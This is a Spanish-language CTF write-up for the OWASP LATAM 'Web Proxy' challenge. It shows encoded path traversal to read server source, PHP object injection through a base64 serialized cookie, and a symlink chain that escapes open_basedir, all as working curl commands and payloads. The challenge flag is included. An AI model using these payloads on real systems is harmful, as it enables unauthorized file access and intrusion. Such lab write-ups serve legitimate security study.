OWASP LATAM@home : Web Proxy
12/05/2020Análisis
Este reto está formado por 3 partes:
- Encontrar el código fuente por medio del proxy.
- Inyectar objetos de PHP por medio de la función unserialize que se ejecuta con el contenido de una cookie.
- Incluir un archivo que se encuentra fuera de las rutas que están en open_basedir.
1. Proxy
Vemos que el proxy funciona solo con la ULR http://owasp.org evitando que podamos incluir una página diferente a la de OWASP. Para poder saltar esta ruta utilizamos URL Encoding para transformar la ruta de http://owasp.org/ a http%3a%2f%2fowasp%2eorg%2f. Ahora si entramos a la ruta https://webproxy.ctf.owasplatam.org/?url=http%3a%2f%2fowasp%2eorg%2f podemos ver que el encoding funciona. Probando diferentes rutas podemos ver que el proxy es vulnerable a LFI (Local File Inclusion) y podemos obtener el código fuente del proxy con la ruta https://webproxy.ctf.owasplatam.org/?url=http%3a%2f%2fowasp%2eorg%2f../../../../../../var/www/html/index.php.
Esto funciona ya que el encoding evita que haga el request y con los múltiples ../ regresamos al inicio del sistema de archivos y con /var/www/html/index.php accedemos al archivo que se ejecuta cuando visitamos el sitio web vulnerable.
Leyendo el código fuente podemos encontrar un archivo classes.php que incluye un código indicando que la bandera está en /flag.txt pero no podemos usar la vulnerabilidad de LFI que encontramos antes ya que vemos que open_basedir solo funciona para las rutas /var/www/html y /tmp. Lo cual nos lleva a la segunda parte del reto.
2. Inyectar objetos con unserialize
Dentro del archivo classes.php vemos que utiliza dos cookies, la primea es la de la sesión de PHP y la otra es una arbitraria con nombre wd y que por medio de symlink genera un enlace a un archivo que se crea con el contenido de target y link que se encuentra en el objeto que es almacenado en la cookie wd.
Unserialize
Lo primero que debemos hacer es intentar inyectar un nuevo objeto con nuestra información por medio de la cookie md y de la sesión de PHP. Si hacemos un request con:
curl 'https://webproxy.ctf.owasplatam.org/classes.php' -H '**Cookie**: PHPSESSID=hk;
Vamos a encontrar que se crea una carpeta en la ruta https://webproxy.ctf.owasplatam.org/tmp/hk/. Esto nos indica que ahora debemos de alguna forma obtener por medio del objeto en wd la información de /flag.txt.
Para inyectar un nuevo objeto basta con cambiar el contenido de wd con nuestro código. Si utilizamos el valor en base64 de O:7:“Workdir”:2:{s:6:“target”;s:5:“/tmp/“;s:4:“link”;s:3:“foo”;} que es Tzo3OiJXb3JrZGlyIjoyOntzOjY6InRhcmdldCI7czo1OiIvdG1wLyI7czo0OiJsaW5rIjtzOjM6ImZvbyI7fQ== en la cookie y hacemos un request al servidor con:
curl 'https://webproxy.ctf.owasplatam.org/classes.php' -H '**Cookie**: PHPSESSID=hk; wd=Tzo3OiJXb3JrZGlyIjoyOntzOjY6InRhcmdldCI7czoyMToiL3Zhci93d3cvaHRtbC90bXAvbWU4IjtzOjQ6ImxpbmsiO3M6MzoiZm9vIjt9'
Vemos que existe la ruta https://webproxy.ctf.owasplatam.org/tmp/hk/foo y entendemos que ahora esa ruta tiene el contenido de /tmp ya que el código en classes.php va a obtener el valor de target y lo va a enlazar a link que hemos inyectado con /tmp/ y foo respectivamente.
3. Explotar symlink
El código de classes.php contiene también la parte de borrar el enlace, lo cual permite saltarse la configuración de open_basedir por medio de una vulnerabilidad de race condition en symlink.
Para explotarlo tenemos que primero crear un enlace de /tmp/ a un directorio, luego crear otro enlace desde el nuevo directorio a otro y finalmente el directorio creado en el primer paso pero con ../ a otro nuevo, para que el último directorio sea un enlace hacia directorio_original../ dando acceso al inicio del sistema de archivos.
Esto lo podemos hacer inyectando los siguientes objetos en md:
O:7:"Workdir":2:{s:6:"target";s:5:"/tmp/";s:4:"link";s:3:"foo";}
O:7:"Workdir":2:{s:6:"target";s:3:"foo";s:4:"link";s:3:"baz";}
O:7:"Workdir":2:{s:6:"target";s:7:"foo/../";s:4:"link";s:3:"bar";}
En base64 es:
Tzo3OiJXb3JrZGlyIjoyOntzOjY6InRhcmdldCI7czo1OiIvdG1wLyI7czo0OiJsaW5rIjtzOjM6ImZvbyI7fQ==
Tzo3OiJXb3JrZGlyIjoyOntzOjY6InRhcmdldCI7czozOiJmb28iO3M6NDoibGluayI7czozOiJiYXoiO30=
Tzo3OiJXb3JrZGlyIjoyOntzOjY6InRhcmdldCI7czo3OiJmb28vLi4vIjtzOjQ6ImxpbmsiO3M6MzoiYmFyIjt9
Lo cual podemos explotar ejecutando los siguientes comandos con curl:
curl 'https://webproxy.ctf.owasplatam.org/classes.php' -H '**Cookie**: PHPSESSID=hk; wd=Tzo3OiJXb3JrZGlyIjoyOntzOjY6InRhcmdldCI7czo3OiJmb28vLi4vIjtzOjQ6ImxpbmsiO3M6MzoiYmFyIjt9'
curl 'https://webproxy.ctf.owasplatam.org/classes.php' -H '**Cookie**: PHPSESSID=hk; wd=Tzo3OiJXb3JrZGlyIjoyOntzOjY6InRhcmdldCI7czozOiJmb28iO3M6NDoibGluayI7czozOiJiYXoiO30='
curl 'https://webproxy.ctf.owasplatam.org/classes.php' -H '**Cookie**: PHPSESSID=hk; wd=Tzo3OiJXb3JrZGlyIjoyOntzOjY6InRhcmdldCI7czo1OiIvdG1wLyI7czo0OiJsaW5rIjtzOjM6ImZvbyI7fQ=='
Esto nos deja un enlace a / y con https://webproxy.ctf.owasplatam.org/tmp/hk/bar/flag.txt podemos obtener la bandera owasp{me_olvide_el_src}